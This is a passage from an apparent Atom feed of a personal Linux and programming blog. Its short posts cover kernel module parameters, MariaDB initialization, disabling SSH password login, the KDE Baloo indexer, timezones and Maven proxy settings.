&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="life"/><category term="games"/><category term="linux"/></entry><entry><title>View Active Kernel Module Parameters</title><link href="https://skybert.net/linux/view-active-kernel-module-parameters" rel="alternate"/><published>2022-08-30T00:00:00+02:00</published><updated>2022-08-30T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-08-30:/linux/view-active-kernel-module-parameters</id><summary type="html">&lt;p&gt;&lt;code&gt;modinfo&lt;/code&gt; is nice for inspecting kernel modules and what configuration
parameters they accept. For instance, these are the power saving
optoins of the &lt;code&gt;iwlwifi&lt;/code&gt; driver for my Intel Wifi card:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# modinfo iwlwifi | grep power_
parm:           power_save:enable WiFi power management (default: disable) (bool)
parm:           power_level:default power save level (range …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;&lt;code&gt;modinfo&lt;/code&gt; is nice for inspecting kernel modules and what configuration
parameters they accept. For instance, these are the power saving
optoins of the &lt;code&gt;iwlwifi&lt;/code&gt; driver for my Intel Wifi card:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# modinfo iwlwifi | grep power_
parm:           power_save:enable WiFi power management (default: disable) (bool)
parm:           power_level:default power save level (range from 1 - 5, default: 1) (int)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, &lt;code&gt;modinfo&lt;/code&gt; doesn't list the &lt;em&gt;active&lt;/em&gt; value of the &lt;code&gt;power_save&lt;/code&gt;
parameter. For that, you'll have to query the &lt;code&gt;/sys&lt;/code&gt; file system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/sys/module/iwlwifi/parameters/power_level:0
/sys/module/iwlwifi/parameters/power_save:N
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now &lt;em&gt;that&lt;/em&gt; correspond better to what I'd set in my &lt;code&gt;modprobe.conf.d&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gh"&gt;#&lt;/span&gt; cat /etc/modprobe.d/iwlwifi.conf .
options iwlwifi power_save=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/></entry><entry><title>MariaDB fails to start because mysql.db doesn't exist</title><link href="https://skybert.net/linux/mariadb-fails-to-start-because-mysqldb-doesnt-exist" rel="alternate"/><published>2022-08-19T00:00:00+02:00</published><updated>2022-08-19T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-08-19:/linux/mariadb-fails-to-start-because-mysqldb-doesnt-exist</id><summary type="html">&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -Sy mariadb
# systemctl enable mariadb
# systemctl start mariadb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But that failed. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# journalctl -xeu  mariadb.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Gave a hint:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[ERROR] Fatal error: Can&amp;#39;t open and lock privilege tables: Table &amp;#39;mysql.db&amp;#39; doesn&amp;#39;t exist
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It turned out that the MySQL system tables and users weren't
created. To remedy that …&lt;/p&gt;</summary><content type="html">&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -Sy mariadb
# systemctl enable mariadb
# systemctl start mariadb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But that failed. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# journalctl -xeu  mariadb.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Gave a hint:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[ERROR] Fatal error: Can&amp;#39;t open and lock privilege tables: Table &amp;#39;mysql.db&amp;#39; doesn&amp;#39;t exist
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It turned out that the MySQL system tables and users weren't
created. To remedy that, I did:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# mysql_install_db --user=mysql --ldata=/var/lib/mysql
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, after restarting mariadb, it ran as it should:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl restart mariadb
# systemctl status mariadb
● mariadb.service - MariaDB 10.8.4 database server
     Loaded: loaded (/usr/lib/systemd/system/mariadb.service; enabled; preset: disabled)
     Active: active (running) since Fri 2022-08-19 12:53:40 CEST; 1s ago
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Really strange this is necessary. On CentOS, RHEL, Debian and Ubuntu
this is done automatically for you.&lt;/p&gt;</content><category term="linux"/><category term="arch"/><category term="garuda"/><category term="database"/><category term="mysql"/></entry><entry><title>Create a Slack wizard app in Python that answers all your questions</title><link href="https://skybert.net/python/create-a-slack-wizard-app-in-python-that-answers-all-your-questions" rel="alternate"/><published>2022-07-20T00:00:00+02:00</published><updated>2022-07-20T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-07-20:/python/create-a-slack-wizard-app-in-python-that-answers-all-your-questions</id><summary type="html">&lt;p&gt;&lt;iframe
  width="560" 
  height="315"
  src="https://www.youtube.com/embed/gi6_OJLgQEo" 
  title="YouTube video player"
  frameborder="0"
  allow="
    accelerometer;
    autoplay;
    clipboard-write;
    encrypted-media;
    gyroscope;
    picture-in-picture
  "
  allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/p&gt;
&lt;p&gt;Using the excellent Python Bolt API from Slack, I show how you can
create an app that answers questions posted in any channel.&lt;/p&gt;
&lt;p&gt;The video shows how to register an app using web sockets, how to grant
it appropriate access rights, how to bootstrap your Python project,
wire up your …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;iframe
  width="560" 
  height="315"
  src="https://www.youtube.com/embed/gi6_OJLgQEo" 
  title="YouTube video player"
  frameborder="0"
  allow="
    accelerometer;
    autoplay;
    clipboard-write;
    encrypted-media;
    gyroscope;
    picture-in-picture
  "
  allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/p&gt;
&lt;p&gt;Using the excellent Python Bolt API from Slack, I show how you can
create an app that answers questions posted in any channel.&lt;/p&gt;
&lt;p&gt;The video shows how to register an app using web sockets, how to grant
it appropriate access rights, how to bootstrap your Python project,
wire up your app to work with the Slack app you've just registered, as
well as how to navigate the Block format returned from the Bolt API,
answer messages in threads and last but not least, looking up the
answers to questions.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://talks.skybert.net/r/2022-python-slack/"&gt;Slides can be found here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Happy hacking!&lt;/p&gt;</content><category term="python"/><category term="python"/><category term="slack"/><category term="emacs"/></entry><entry><title>Get Clickable Jira Links in Your Org Files</title><link href="https://skybert.net/emacs/get-clickable-jira-links-in-your-org-files" rel="alternate"/><published>2022-07-15T00:00:00+02:00</published><updated>2022-07-15T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-07-15:/emacs/get-clickable-jira-links-in-your-org-files</id><summary type="html">&lt;p&gt;Get clickable links to Jira issues from your Org notes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bug-reference-bug-regexp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\b\\(\\([A-Za-z][A-Za-z0-9]\\{1,10\\}-[0-9]+\\)\\)&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;bug-reference-url-format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://jira.example.com/browse/%s&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;add-hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;org-mode-hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;bug-reference-mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What the above setting, you get a clickable Jira link when you write
&lt;code&gt;FOO-1000&lt;/code&gt;. The file itself doesn't contain the link, if …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Get clickable links to Jira issues from your Org notes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bug-reference-bug-regexp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\b\\(\\([A-Za-z][A-Za-z0-9]\\{1,10\\}-[0-9]+\\)\\)&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;bug-reference-url-format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://jira.example.com/browse/%s&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;add-hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;org-mode-hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;bug-reference-mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What the above setting, you get a clickable Jira link when you write
&lt;code&gt;FOO-1000&lt;/code&gt;. The file itself doesn't contain the link, if you've just
written &lt;code&gt;FOO-1000&lt;/code&gt;, that's what the file will contain. It's a link
overlay that's in the editor only.&lt;/p&gt;
&lt;p&gt;If you want to follow the links without using the mouse, you can hit
&lt;kbd&gt;C-c&lt;/kbd&gt; &lt;kbd&gt;RET&lt;/kbd&gt;.&lt;/p&gt;
&lt;p&gt;Neat, eh?&lt;/p&gt;
&lt;p&gt;Note, the Org shortcut for following links, &lt;code&gt;org-open-at-point&lt;/code&gt;, will
not work since this link overlay is provided by &lt;code&gt;bug-reference-mode&lt;/code&gt;
and not &lt;code&gt;org-mode&lt;/code&gt; (that would've been nice, though).&lt;/p&gt;</content><category term="emacs"/><category term="emacs"/><category term="org"/><category term="jira"/></entry><entry><title>How to see /etc files have been changed after installing the DEB</title><link href="https://skybert.net/linux/how-to-see-etc-files-have-been-changed-after-installing-the-deb" rel="alternate"/><published>2022-07-14T00:00:00+02:00</published><updated>2022-07-14T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-07-14:/linux/how-to-see-etc-files-have-been-changed-after-installing-the-deb</id><summary type="html">&lt;p&gt;DEB packages often contain configuration files installed under
&lt;code&gt;/etc&lt;/code&gt;. To see if an admin has changed any package provided
configuration files, use the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;dpkg-query&lt;span class="w"&gt; &lt;/span&gt;-W&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;${Conffiles}\n&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;OFS=&amp;quot;  &amp;quot;{print $2,$1}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;md5sum&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;-F&lt;span class="s1"&gt;&amp;#39;: &amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$2 !~ /OK/{print $1}&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Source: https://serverfault.com …&lt;/p&gt;</summary><content type="html">&lt;p&gt;DEB packages often contain configuration files installed under
&lt;code&gt;/etc&lt;/code&gt;. To see if an admin has changed any package provided
configuration files, use the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;dpkg-query&lt;span class="w"&gt; &lt;/span&gt;-W&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;${Conffiles}\n&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;OFS=&amp;quot;  &amp;quot;{print $2,$1}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;md5sum&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;-F&lt;span class="s1"&gt;&amp;#39;: &amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$2 !~ /OK/{print $1}&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Source: https://serverfault.com/a/90401&lt;/p&gt;</content><category term="linux"/><category term="debian"/><category term="linux"/><category term="apt"/></entry><entry><title>Disable SSH Password Login</title><link href="https://skybert.net/linux/disable-ssh-password-login" rel="alternate"/><published>2022-07-05T00:00:00+02:00</published><updated>2022-07-05T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-07-05:/linux/disable-ssh-password-login</id><summary type="html">&lt;p&gt;&lt;iframe
  width="560"
  height="315"
  src="https://www.youtube.com/embed/n5RaB0LPoow"
  title="Harden SSH by disabling password login"
  frameborder="0"
  allow="
    accelerometer;
    autoplay;
    clipboard-write;
    encrypted-media;
    gyroscope;
    picture-in-picture;
  "
  allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/p&gt;
&lt;p&gt;I recommend using SSH key based authentication to all your Unix
servers. There's a good &lt;a href="https://security.stackexchange.com/a/3898"&gt;rationale for this written
here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To ensure users use SSH keys to log into your server, turn off
&lt;code&gt;PasswordAuthentication&lt;/code&gt; like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# echo PasswordAuthentication no &amp;gt; /etc/ssh/sshd_config.d/disable-password-login.conf
# systemctl reload sshd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, if …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;iframe
  width="560"
  height="315"
  src="https://www.youtube.com/embed/n5RaB0LPoow"
  title="Harden SSH by disabling password login"
  frameborder="0"
  allow="
    accelerometer;
    autoplay;
    clipboard-write;
    encrypted-media;
    gyroscope;
    picture-in-picture;
  "
  allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/p&gt;
&lt;p&gt;I recommend using SSH key based authentication to all your Unix
servers. There's a good &lt;a href="https://security.stackexchange.com/a/3898"&gt;rationale for this written
here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To ensure users use SSH keys to log into your server, turn off
&lt;code&gt;PasswordAuthentication&lt;/code&gt; like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# echo PasswordAuthentication no &amp;gt; /etc/ssh/sshd_config.d/disable-password-login.conf
# systemctl reload sshd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, if the user doesn't have a private key that matches the entries
in &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; on the server when logging in, he'll get
no password prompt anymore:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ssh foo@ssh.example.com
foo@ssh.example.com: Permission denied (publickey).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/><category term="security"/><category term="ssh"/></entry><entry><title>Converting New Users to Linux</title><link href="https://skybert.net/linux/converting-new-users-to-linux" rel="alternate"/><published>2022-06-21T00:00:00+02:00</published><updated>2022-06-21T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-06-21:/linux/converting-new-users-to-linux</id><summary type="html">&lt;p&gt;I find the greatest challenge with giving Linux to others, is what
story to tell: You're running Mint. That's a Linux distro. It's based
on a different distro called Ubuntu, which again is based on
Debian. Your desktop, though, is called Cinnamon. So when you have a
problem, you must …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I find the greatest challenge with giving Linux to others, is what
story to tell: You're running Mint. That's a Linux distro. It's based
on a different distro called Ubuntu, which again is based on
Debian. Your desktop, though, is called Cinnamon. So when you have a
problem, you must search for a solution in that order: Cinnamon, Mint,
Ubuntu, Debian.&lt;/p&gt;
&lt;p&gt;When installing packages, you have native packages, through apt-get,
but you also have flatpak, snaps and appimage. Graphical frontend?
Sure, you've got (at least) 2 different ones installed. When to use
which? Try them out and see which one you like the best. If they don't
work, try &lt;code&gt;synaptic&lt;/code&gt;, it's not pretty, but that always works. Oh, but
it doesn't work with flatpak or snaps, so you need to be aware of
that.&lt;/p&gt;
&lt;p&gt;Good luck 😁&lt;/p&gt;</content><category term="linux"/><category term="linux"/></entry><entry><title>What is Baloo and why is it Eating My Machine?!</title><link href="https://skybert.net/linux/what-is-baloo-and-why-is-it-eating-my-machine" rel="alternate"/><published>2022-06-21T00:00:00+02:00</published><updated>2022-06-21T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-06-21:/linux/what-is-baloo-and-why-is-it-eating-my-machine</id><summary type="html">&lt;p&gt;Baloo was number one in &lt;code&gt;top&lt;/code&gt; and I didn't even know what it was. Turned out it was the search indexer for the KDE Plasma dekstop. The funny thing was,  I didn't even run KDE at the time, I was running &lt;code&gt;i3&lt;/code&gt;! But since Baloo is started from &lt;code&gt;systemd&lt;/code&gt;, it …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Baloo was number one in &lt;code&gt;top&lt;/code&gt; and I didn't even know what it was. Turned out it was the search indexer for the KDE Plasma dekstop. The funny thing was,  I didn't even run KDE at the time, I was running &lt;code&gt;i3&lt;/code&gt;! But since Baloo is started from &lt;code&gt;systemd&lt;/code&gt;, it was eating away my CPU sycles anyway.&lt;/p&gt;
&lt;p&gt;This is how I got rid of this resource hog:&lt;/p&gt;
&lt;h2&gt;Stopping the baloo indexer&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ balooctl suspend
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Disable the baloo indexer&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ balooctl disable
Disabling and stopping the File Indexer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can verify that it's been disabled:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cat .config/baloofilerc
[Basic Settings]
Indexing-Enabled=false
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Purge the giga bytes consumed byt he indexer&lt;/h2&gt;
&lt;p&gt;Since I never use KDE for anything useful on this machine, it's my
work machine, so I use &lt;code&gt;i3&lt;/code&gt;, I decided to purge the whole file to save
the disk space (it was occupying more than 4 GBs):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ balooctl purge
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/><category term="kde"/></entry><entry><title>Set Timezone on Arch Linux</title><link href="https://skybert.net/linux/set-timezone-on-arch-linux" rel="alternate"/><published>2022-06-20T00:00:00+02:00</published><updated>2022-06-20T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-06-20:/linux/set-timezone-on-arch-linux</id><summary type="html">&lt;h2&gt;See your system's current timezone&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ timedatectl status
               Local time: Mon 2022-06-20 16:05:34 CST
           Universal time: Mon 2022-06-20 08:05:34 UTC
                 RTC time: Mon 2022-06-20 08:05:34
                Time zone: Asia/Taipei (CST, +0800)
System clock synchronized: yes
              NTP service: active
          RTC in local TZ: no
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Change the …&lt;/h2&gt;</summary><content type="html">&lt;h2&gt;See your system's current timezone&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ timedatectl status
               Local time: Mon 2022-06-20 16:05:34 CST
           Universal time: Mon 2022-06-20 08:05:34 UTC
                 RTC time: Mon 2022-06-20 08:05:34
                Time zone: Asia/Taipei (CST, +0800)
System clock synchronized: yes
              NTP service: active
          RTC in local TZ: no
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Change the timezone&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ sudo timedatectl set-timezone Asia/Taipei
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can verify that &lt;code&gt;timedatectl&lt;/code&gt; has done the right thing by
inspecting the &lt;code&gt;/etc/localtime&lt;/code&gt; symlink:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ls -l /etc/localtime
lrwxrwxrwx 1 root root 33 Jun 20 10:06 /etc/localtime -&amp;gt; ../usr/share/zoneinfo/Europe/Oslo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;timedatectl&lt;/code&gt; doesn't update &lt;code&gt;/etc/timezone&lt;/code&gt; for some reason, so I
edit that manually with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# vim /etc/timezone
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;View all available timezones&lt;/h2&gt;
&lt;p&gt;If you don't know what the timezone string is called, you should have
TAB completion, if this hasn't been enabled on your system, you can
have a look at all the available ones with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ timedatectl list-timezones
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="arch"/></entry><entry><title>Maven Through an HTTP Proxy</title><link href="https://skybert.net/java/maven-through-an-http-proxy" rel="alternate"/><published>2022-04-28T00:00:00+02:00</published><updated>2022-04-28T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-04-28:/java/maven-through-an-http-proxy</id><summary type="html">&lt;p&gt;If you're using Maven through an HTTP proxy, you might have banged
your head why on earth the snippet below in &lt;code&gt;~/.m2/settings.xml&lt;/code&gt; isn't
enough to get all Maven plugins to work perfectly with the proxy (no,
it's not because of &lt;code&gt;protocol=http&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;proxies&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;proxy&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;id&amp;gt;&lt;/span&gt;anping-proxy&lt;span class="nt"&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;active …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;If you're using Maven through an HTTP proxy, you might have banged
your head why on earth the snippet below in &lt;code&gt;~/.m2/settings.xml&lt;/code&gt; isn't
enough to get all Maven plugins to work perfectly with the proxy (no,
it's not because of &lt;code&gt;protocol=http&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;proxies&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;proxy&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;id&amp;gt;&lt;/span&gt;anping-proxy&lt;span class="nt"&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;active&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/active&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;protocol&amp;gt;&lt;/span&gt;http&lt;span class="nt"&gt;&amp;lt;/protocol&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;host&amp;gt;&lt;/span&gt;proxy&lt;span class="nt"&gt;&amp;lt;/host&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;port&amp;gt;&lt;/span&gt;8899&lt;span class="nt"&gt;&amp;lt;/port&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/proxy&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/proxies&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For most Maven plugins, this works great. However, for a few, it
doesn't and &lt;code&gt;mvn&lt;/code&gt; just hangs forever.&lt;/p&gt;
&lt;p&gt;It turns out, for &lt;em&gt;some&lt;/em&gt; underlying Maven components (possibly related
to &lt;a href="https://issues.apache.org/jira/browse/MNG-5237"&gt;this bug in
Maven&lt;/a&gt;), it's not
enough and you'll have to set the &lt;em&gt;same&lt;/em&gt; values in the &lt;code&gt;MAVEN_OPTS&lt;/code&gt;
environment variable:&lt;/p&gt;
